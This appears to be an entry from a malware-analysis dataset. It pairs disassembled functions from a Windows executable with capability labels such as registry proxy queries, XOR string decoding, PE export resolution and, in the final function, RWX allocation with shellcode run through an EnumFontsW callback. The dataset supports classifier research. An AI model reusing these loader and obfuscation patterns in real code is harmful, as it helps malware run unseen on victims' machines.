joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412aea
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x828
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push edi
push dword [0x42e1a4]
mov ebx, str._04x
lea eax, [ebp - 0x14]
push ebx
push eax
call esi
mov edi, dword [sym.imp.USER32.dll_CharNextA]
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
call edi
push eax
call edi
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x828]
push eax
push 0x42db88
call fcn.00411dcb
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x828]
push eax
lea eax, [ebp - 0x428]
push eax
call fcn.0041200c
lea eax, [ebp - 0x428]
push str..ini
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [ebp + 8]
lea eax, [ebp - 0x28]
push ebx
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x28]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0x42bab0
push eax
push str.Languages
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
pop edi
pop esi
test eax, eax
pop ebx
jne 0x412ba4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.VERSION.dll_VerLanguageNameA
leave
ret

Function at 0x413480
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x838
push ebx
push edi
mov edi, ecx
mov dword [ebp - 0x10], 1
call fcn.004135bf
xor ebx, ebx
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x413534
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x413526
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
push ebx
push ebx
push str.ProxyEnable
mov dword [ebp - 8], 4
push dword [ebp - 4]
call esi
test eax, eax
je 0x4134ea
mov dword [ebp - 0xc], ebx
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x824
push eax
lea eax, [ebp - 0x838]
push eax
push ebx
push ebx
push str.AutoConfigURL
push dword [ebp - 4]
call esi
test eax, eax
pop esi
je 0x413513
mov byte [ebp - 0x838], bl
cmp dword [ebp - 0xc], ebx
jne 0x413520
cmp byte [ebp - 0x838], bl
je 0x413526
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], ebx
je 0x413534
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.0041312f
add esp, 0x14
cmp dword [ebp + 0xc], ebx
mov dword [edi + 4], eax
je 0x413559
cmp dword [ebp + 0xc], 4
jne 0x413573
cmp dword [ebp - 0x14], ebx
jne 0x413573
cmp word [edi + 0x14], 3
mov ecx, edi
jne 0x41356e
call fcn.004137f0
jmp 0x413573
call fcn.00413a1c
xor eax, eax
cmp dword [edi + 4], ebx
pop edi
pop ebx
setne al
leave
ret 0x14
Function at 0x4135bf
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x364
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea eax, [ebp - 8]
push edi
push eax
lea eax, [ebp - 0x260]
mov edi, SysReAllocStringLen
push eax
mov ebx, 0x104
push str..htm
mov dword [ebp - 0xc], ecx
push edi
mov dword [ebp - 8], ebx
call esi
test eax, eax
jne 0x4136bf
lea eax, [ebp - 0x260]
push str._shellopencommand
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x260]
push eax
push edi
call esi
test eax, eax
jne 0x4136bf
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.USER32.dll_CharLowerBuffA]
lea eax, [ebp - 0x15c]
push str.netscape.exe
push eax
call fcn.004180a0
xor esi, esi
pop ecx
cmp eax, esi
pop ecx
je 0x4136c1
lea ecx, [ebp - 0x15c]
sub eax, ecx
add eax, 0xd
push eax
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x364]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x58]
call fcn.00413738
lea eax, [ebp - 0x364]
lea ecx, [ebp - 0x58]
push eax
call fcn.00414d93
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0xc]
mov edx, ecx
mov dword [ebp - 0x58], 0x423aac
shr edx, 0x10
mov word [eax + 0x16], cx
lea ecx, [ebp - 0x58]
mov word [eax + 0x14], dx
call fcn.00413795
xor eax, eax
jmp 0x413733
xor esi, esi
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
push eax
push str.SOFTWAREMicrosoftInternet_Explorer
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x413722
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
push eax
lea eax, [ebp - 0x260]
push eax
push esi
push esi
push str.Version
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x413722
movsx ax, byte [ebp - 0x260]
mov ecx, dword [ebp - 0xc]
sub eax, 0x30
cmp dword [ebp - 4], esi
mov word [ecx + 0x14], ax
je 0x41371e
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
jmp 0x413732
cmp dword [ebp - 4], esi
je 0x413730
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4137f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1190
call fcn.004176a0
and byte [ebp - 0x96c], 0
push ebx
push esi
mov dword [ebp - 0x10], ecx
mov edx, 0x208
push edi
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x96b]
and byte [ebp - 0x1190], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x118f]
xor esi, esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
push eax
push str.SOFTWARENetscapeNetscape_NavigatorProxy_Information
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4139be
lea eax, [ebp - 8]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push str.Proxy_Type
push dword [ebp - 4]
mov dword [ebp - 0x48], str.http
mov dword [ebp - 0x44], str.HTTP_Proxy
mov dword [ebp - 0x40], str.HTTP_ProxyPort
mov dword [ebp - 0x3c], str.https
mov dword [ebp - 0x38], str.HTTPS_Proxy
mov dword [ebp - 0x34], str.HTTPS_ProxyPort
mov dword [ebp - 0x30], str.ftp
mov dword [ebp - 0x2c], str.FTP_Proxy
mov dword [ebp - 0x28], str.FTP_ProxyPort
mov dword [ebp - 8], 4
call ebx
test eax, eax
jne 0x4139be
cmp dword [ebp - 0x14], 1
jne 0x4139be
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edi, [ebp - 0x48]
mov dword [ebp - 0xc], 3
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x100
push eax
lea eax, [ebp - 0x148]
push eax
push 0
push 0
push dword [edi + 4]
push dword [ebp - 4]
call ebx
test eax, eax
jne 0x413981
cmp byte [ebp - 0x148], al
je 0x413981
push dword [edi]
lea eax, [ebp - 0x96c]
push eax
call esi
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x96c]
push eax
call esi
lea eax, [ebp - 8]
mov dword [ebp - 8], 4
push eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push dword [edi + 8]
push dword [ebp - 4]
call ebx
test eax, eax
jne 0x413973
lea eax, [ebp - 0x96c]
push 0x42878c
push eax
call esi
push dword [ebp - 0x18]
lea eax, [ebp - 0x96c]
push 0x427ae0
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x96c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x96c]
push 0x4277dc
push eax
call esi
add edi, 0xc
dec dword [ebp - 0xc]
jne 0x4138d7
lea eax, [ebp - 0x96c]
push 0xc
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x1190]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x10]
push 0x26
mov dword [ebp - 0x24], 3
push dword [eax + 4]
call fcn.00413305
add esp, 0x10
xor esi, esi
cmp dword [ebp - 4], esi
je 0x4139cc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40313a
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, ecx
xor eax, eax
push edi
xor edi, edi
mov ebx, edx
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], edi
mov word [esi], ax
cmp dword [esp + 0x10], eax
jle 0x403180
sub ebx, 0x42b690
mov ax, word [ebx + edi*2 + 0x42b690]
mov ecx, esi
xor ax, word [edi*2 + 0x42b690]
movzx eax, ax
push eax
call fcn.00401a7c
inc edi
cmp edi, dword [esp + 0x10]
jl 0x40315e
pop edi
mov eax, esi
pop esi
pop ebx
ret 4

Function at 0x403188
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov edi, edx
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov byte [esi], bl
cmp dword [esp + 0x10], ebx
jle 0x4031c8
sub edi, 0x42b730
mov al, byte [edi + ebx + 0x42b730]
mov ecx, esi
xor al, byte [ebx + 0x42b730]
movzx eax, al
push eax
call fcn.0040424a
inc ebx
cmp ebx, dword [esp + 0x10]
jl 0x4031a9
pop edi
mov eax, esi
pop esi
pop ebx
ret 4

Function at 0x404943
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, edx
cmp dword [0x43f138], ebx
jne 0x404989
mov ecx, ebx
push 8
mov eax, ecx
pop edx
test al, 1
je 0x40496a
shr eax, 1
xor eax, 0xedb88320
jmp 0x40496c
shr eax, 1
dec edx
jne 0x40495d
mov dword [ecx*4 + 0x43f190], eax
inc ecx
cmp ecx, 0x100
jl 0x404958
mov dword [0x43f138], 1
mov eax, dword [ebp + 8]
or edx, 0xffffffff
xor ecx, ecx
lea eax, [edi + eax*2]
mov esi, eax
sub esi, edi
inc esi
shr esi, 1
cmp edi, eax
cmova esi, ecx
test esi, esi
je 0x4049be
movzx eax, byte [edi]
lea edi, [edi + 2]
movzx ecx, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x43f190]
inc ebx
cmp ebx, esi
jb 0x4049a4
pop edi
not edx
pop esi
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4057c8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
mov esi, dword [ebp + 8]
mov eax, 0x5a4d
push edi
mov dword [esp + 0x14], ecx
cmp word [esi], ax
je 0x4057ec
xor eax, eax
jmp 0x405974
mov eax, dword [esi + 0x3c]
cmp dword [eax + esi + 0x74], 0x10
jne 0x4057e5
mov ecx, dword [eax + esi + 0x7c]
mov dword [esp + 0x24], ecx
test ecx, ecx
je 0x4057e5
mov edi, dword [eax + esi + 0x78]
xor ebx, ebx
add edi, esi
mov eax, dword [edi + 0x24]
mov edx, dword [edi + 0x20]
add eax, esi
mov dword [esp + 0x1c], eax
add edx, esi
mov eax, dword [edi + 0x1c]
add eax, esi
mov dword [esp + 0x18], edx
mov dword [esp + 0x20], eax
cmp dword [ebp + 0xc], ebx
je 0x405874
xor eax, eax
mov dword [esp + 0x10], eax
cmp dword [edi + 0x14], eax
jbe 0x405972
mov ecx, dword [edx + eax*4]
add ecx, esi
call fcn.0040307d
cmp eax, dword [ebp + 0xc]
mov eax, dword [esp + 0x10]
je 0x40585f
mov edx, dword [esp + 0x18]
inc eax
mov dword [esp + 0x10], eax
cmp eax, dword [edi + 0x14]
jb 0x405839
jmp 0x405972
mov ecx, dword [esp + 0x1c]
mov ebx, dword [esp + 0x20]
movzx eax, word [ecx + eax*2]
mov ecx, dword [esp + 0x24]
mov ebx, dword [ebx + eax*4]
jmp 0x405886
mov ebx, dword [ebp + 0x10]
sub ebx, dword [edi + 0x10]
cmp ebx, dword [edi + 0x14]
jae 0x4057e5
mov ebx, dword [eax + ebx*4]
add ebx, esi
cmp ebx, edi
jbe 0x405972
lea eax, [ecx + edi]
cmp ebx, eax
jae 0x405972
push 0x104
call fcn.0040f054
mov dword [esp + 0x14], eax
mov dword [esp], 0x100
call fcn.0040f054
pop ecx
mov esi, eax
push 0x2e
push ebx
mov dword [esp + 0x2c], esi
call fcn.00410dd0
pop ecx
pop ecx
push 0x100
lea edi, [eax + 1]
push edi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
call esi
sub edi, ebx
push edi
push ebx
mov ebx, dword [esp + 0x18]
push ebx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x42b5fc
push ebx
call esi
push 0x42d080
push ebx
call esi
push 0x42d084
push ebx
call esi
mov ecx, dword [esp + 0x14]
push ebx
call fcn.0040576f
mov edi, eax
test edi, edi
jne 0x40592a
push eax
push ecx
push ebx
mov ebx, dword [esp + 0x20]
mov ecx, ebx
call fcn.0040613a
mov edi, eax
test edi, edi
jne 0x40592e
jmp 0x4057e5
mov ebx, dword [esp + 0x14]
mov esi, dword [esp + 0x24]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 1
jle 0x40594c
cmp byte [esi], 0x23
jne 0x40594c
movsx eax, byte [esi + 1]
push eax
push 0
jmp 0x405956
push 0
mov ecx, esi
call fcn.0040307d
push eax
push edi
mov ecx, ebx
call fcn.004057c8
push esi
mov ebx, eax
call fcn.00410a63
mov eax, dword [esp + 0x14]
pop ecx
push eax
call fcn.00410a63
pop ecx
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40651e
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, ecx
xor eax, eax
push edi
xor edi, edi
mov ebx, edx
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], edi
mov word [esi], ax
cmp dword [esp + 0x10], eax
jle 0x406564
sub ebx, 0x42b750
mov ax, word [ebx + edi*2 + 0x42b750]
mov ecx, esi
xor ax, word [edi*2 + 0x42b750]
movzx eax, ax
push eax
call fcn.00401a7c
inc edi
cmp edi, dword [esp + 0x10]
jl 0x406542
pop edi
mov eax, esi
pop esi
pop ebx
ret 4

Function at 0x40656c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, ecx
xor eax, eax
push edi
xor edi, edi
mov ebx, edx
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], edi
mov word [esi], ax
cmp dword [esp + 0x10], eax
jle 0x4065b2
sub ebx, 0x42b800
mov ax, word [ebx + edi*2 + 0x42b800]
mov ecx, esi
xor ax, word [edi*2 + 0x42b800]
movzx eax, ax
push eax
call fcn.00401a7c
inc edi
cmp edi, dword [esp + 0x10]
jl 0x406590
pop edi
mov eax, esi
pop esi
pop ebx
ret 4

Function at 0x4065ba
Capabilities:
Hash data with md5

Disassembly:
sub esp, 0x9c
push ebx
push ebp
push esi
mov ebx, ecx
mov esi, edx
push edi
lea ecx, [esp + 0x28]
call fcn.004018f0
push 0x10
pop edi
cmp dword [esp + 0x3c], edi
lea edx, [esp + 0x28]
push dword [esi + 0x10]
cmovae edx, dword [esp + 0x2c]
lea ecx, [esp + 0x44]
xor ebp, ebp
mov dword [esp + 0x4c], 0x67452301
mov dword [esp + 0x48], ebp
mov dword [esp + 0x44], ebp
mov dword [esp + 0x50], 0xefcdab89
mov dword [esp + 0x54], 0x98badcfe
mov dword [esp + 0x58], 0x10325476
call fcn.004094e8
lea ecx, [esp + 0x40]
call fcn.00409574
xor eax, eax
mov dword [esp + 0x24], 7
mov dword [esp + 0x20], ebp
lea esi, [esp + 0x98]
mov word [esp + 0x10], ax
movzx eax, byte [esi]
lea ecx, [esp + 0x10]
push eax
call fcn.00401a7c
inc esi
dec edi
jne 0x40663a
push dword [esp + 0x20]
lea edx, [esp + 0x14]
mov ecx, ebx
call fcn.0040667f
push ebp
push 1
lea ecx, [esp + 0x18]
call fcn.004023dd
push ebp
push 1
lea ecx, [esp + 0x30]
call fcn.00401d41
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x9c
ret
Function at 0x40667f
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x30
and dword [esp + 0x10], 0
push ebx
push ebp
push esi
push edi
mov esi, edx
mov dword [esp + 0x24], 0xf
mov ebx, ecx
mov byte [esp + 0x10], 0
xor edi, edi
mov al, byte [edi + 0x42b7c0]
lea ecx, [esp + 0x10]
xor al, byte [edi + 0x43d770]
movzx eax, al
push eax
call fcn.0040424a
inc edi
cmp edi, 0x10
jl 0x40669e
xor ebp, ebp
mov dword [esp + 0x3c], 7
xor eax, eax
mov dword [esp + 0x38], ebp
mov word [esp + 0x28], ax
cmp dword [esi + 0x10], ebp
jne 0x4066e8
push 0x42b5f0
mov ecx, ebx
call fcn.004019f1
jmp 0x40676c
mov edi, ebp
cmp dword [esp + 0x44], eax
jbe 0x406760
cmp dword [esi + 0x14], 8
jb 0x4066fa
mov eax, dword [esi]
jmp 0x4066fc
mov eax, esi
movzx eax, word [eax + edi*2]
lea ecx, [esp + 0x10]
cmp dword [esp + 0x24], 0x10
cmovae ecx, dword [esp + 0x10]
shr eax, 4
and eax, 0xf
movsx ax, byte [eax + ecx]
lea ecx, [esp + 0x28]
movzx eax, ax
push eax
call fcn.00401a7c
cmp dword [esi + 0x14], 8
jb 0x406730
mov eax, dword [esi]
jmp 0x406732
mov eax, esi
cmp dword [esp + 0x24], 0x10
lea ecx, [esp + 0x10]
movzx eax, word [eax + edi*2]
cmovae ecx, dword [esp + 0x10]
and eax, 0xf
movsx ax, byte [eax + ecx]
lea ecx, [esp + 0x28]
movzx eax, ax
push eax
call fcn.00401a7c
inc edi
cmp edi, dword [esp + 0x44]
jb 0x4066f0
lea eax, [esp + 0x28]
mov ecx, ebx
push eax
call fcn.00401a13
push ebp
push 1
lea ecx, [esp + 0x30]
call fcn.004023dd
push ebp
push 1
lea ecx, [esp + 0x18]
call fcn.00401d41
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x30
ret 4
Function at 0x409eb9
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, ecx
xor eax, eax
push edi
xor edi, edi
mov ebx, edx
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], edi
mov word [esi], ax
cmp dword [esp + 0x10], eax
jle 0x409eff
sub ebx, 0x42b880
mov ax, word [ebx + edi*2 + 0x42b880]
mov ecx, esi
xor ax, word [edi*2 + 0x42b880]
movzx eax, ax
push eax
call fcn.00401a7c
inc edi
cmp edi, dword [esp + 0x10]
jl 0x409edd
pop edi
mov eax, esi
pop esi
pop ebx
ret 4

Function at 0x409f07
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, ecx
xor eax, eax
push edi
xor edi, edi
mov ebx, edx
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], edi
mov word [esi], ax
cmp dword [esp + 0x10], eax
jle 0x409f4d
sub ebx, 0x42b8e0
mov ax, word [ebx + edi*2 + 0x42b8e0]
mov ecx, esi
xor ax, word [edi*2 + 0x42b8e0]
movzx eax, ax
push eax
call fcn.00401a7c
inc edi
cmp edi, dword [esp + 0x10]
jl 0x409f2b
pop edi
mov eax, esi
pop esi
pop ebx
ret 4

Function at 0x40b287
Capabilities:
Get common file path

Disassembly:
sub esp, 0x2b4
lea eax, [esp + 0xa8]
push ebx
push ebp
push esi
push edi
push 0x208
push eax
mov bh, 1
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x40b40c
and dword [esp + 0x38], 0
xor eax, eax
mov dword [esp + 0x3c], 7
mov word [esp + 0x28], ax
cmp word [esp + 0xb8], ax
je 0x40b2da
lea eax, [esp + 0xb8]
push eax
call fcn.0041012b
pop ecx
push eax
lea eax, [esp + 0xbc]
push eax
lea ecx, [esp + 0x30]
call fcn.004026be
push 0xc
mov edx, 0x43d7c0
lea ecx, [esp + 0x5c]
call fcn.00409eb9
push 0xd
mov edx, 0x43dc40
lea ecx, [esp + 0x74]
call fcn.00409eb9
push 0xb
mov edx, 0x43d870
lea ecx, [esp + 0x8c]
call fcn.00409eb9
push 0xc
mov edx, str.pKH
lea ecx, [esp + 0xa4]
call fcn.00409eb9
xor esi, esi
lea ebp, [esp + 0x58]
mov edi, esi
xor eax, eax
mov dword [esp + 0x20], esi
mov esi, dword [esp + 0x38]
push 0x42b5f8
mov dword [esp + 0x28], 7
mov word [esp + 0x14], ax
call fcn.0041012b
pop ecx
add eax, esi
lea ecx, [esp + 0x10]
push eax
call fcn.00402caa
push 0xffffffffffffffff
xor esi, esi
lea eax, [esp + 0x2c]
push esi
push eax
lea ecx, [esp + 0x1c]
call fcn.00401dd0
push 0x42b5f8
call fcn.0041012b
pop ecx
push eax
push 0x42b5f8
lea ecx, [esp + 0x18]
call fcn.00401e6d
push 0xffffffffffffffff
push esi
push ebp
lea ecx, [esp + 0x1c]
call fcn.00401dd0
push eax
lea ecx, [esp + 0x44]
call fcn.00401a13
lea ecx, [esp + 0x40]
call fcn.0040ab19
push esi
push 1
lea ecx, [esp + 0x48]
mov bl, al
call fcn.004023dd
push esi
push 1
lea ecx, [esp + 0x18]
call fcn.004023dd
test bl, bl
jne 0x40b3e2
inc edi
add ebp, 0x18
cmp edi, 4
jl 0x40b33a
jmp 0x40b3e4
xor bh, bh
push 3
lea esi, [esp + 0xbc]
pop edi
push 0
sub esi, 0x18
push 1
mov ecx, esi
call fcn.004023dd
dec edi
jns 0x40b3ee
push 0
push 1
lea ecx, [esp + 0x30]
call fcn.004023dd
pop edi
pop esi
pop ebp
mov al, bh
pop ebx
add esp, 0x2b4
ret
Function at 0x42082b
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42f4b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.launcher29.exe__DecodePointer_4]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0041364c
mov dword [ebp - 0x14], eax
cmp dword [0x43f11c], esi
jne 0x42091e
push 0x800
push esi
push str.USER32.DLL
call dword [0x42d168]
mov edi, eax
test edi, edi
jne 0x4208ab
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4209fe
push esi
push esi
push str.USER32.DLL
call dword [0x42d168]
mov edi, eax
test edi, edi
je 0x4209fe
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4209fe
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x43f11c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x43f120], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x43f124], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43f12c], eax
test eax, eax
je 0x42091b
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43f128], eax
mov edi, dword [ebp - 0x18]
call dword [0x42d160]
test eax, eax
je 0x420943
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x420936
push eax
call dword [0x42d16c]
cmp dword [ebp - 0x14], esi
je 0x420958
push 4
pop eax
jmp 0x420a00
cmp dword [ebp - 0x14], esi
je 0x420958
push dword [0x43f11c]
call dword [0x42d15c]
push 3
jmp 0x42093d
mov eax, dword [0x43f128]
mov ebx, dword [sym.launcher29.exe__DecodePointer_4]
cmp eax, edi
je 0x4209b6
cmp dword [0x43f12c], edi
je 0x4209b6
push eax
call ebx
push dword [0x43f12c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4209b6
test eax, eax
je 0x4209b6
call ecx
test eax, eax
je 0x4209ab
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4209ab
test byte [ebp - 8], 1
jne 0x4209b6
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4209e6
mov eax, dword [0x43f120]
cmp eax, edi
je 0x4209e3
push eax
call ebx
test eax, eax
je 0x4209e3
call eax
mov esi, eax
test esi, esi
je 0x4209e3
mov eax, dword [0x43f124]
cmp eax, edi
je 0x4209e3
push eax
call ebx
test eax, eax
je 0x4209e3
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x43f11c]
call ebx
test eax, eax
je 0x4209fe
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x420a00
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00411b2d
mov esp, ebp
pop ebp
ret
Function at 0x4010a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push esi
xor ecx, ecx
mov edx, 0x1111
xor eax, eax
push edi
nop dword [eax + eax]
cmp eax, 2
cmove ecx, edx
test ecx, ecx
jne 0x4010c8
inc eax
cmp eax, 0xc
jb 0x4010b0
mov dword [0x414a1c], ecx
jmp 0x40110b
push 0x40
push 0x1000
push 0x782
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [0x414a1c], edi
test edi, edi
je 0x40110b
xor eax, eax
nop word [eax + eax]
cmp eax, 3
je 0x4010fd
inc eax
cmp eax, 8
jb 0x4010f0
jmp 0x40110b
mov ecx, 0x1e0
mov esi, 0x413880
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, dword [sym.imp.USER32.dll_GetDC]
push 0
push section..text
push 0
push 0
call edi
mov esi, dword [sym.imp.GDI32.dll_EnumFontsW]
push eax
call esi
push 0
push dword [0x414a1c]
mov dword [0x414a18], 1
push 0
push 0
call edi
push eax
call esi
pop edi
xor eax, eax
pop esi
ret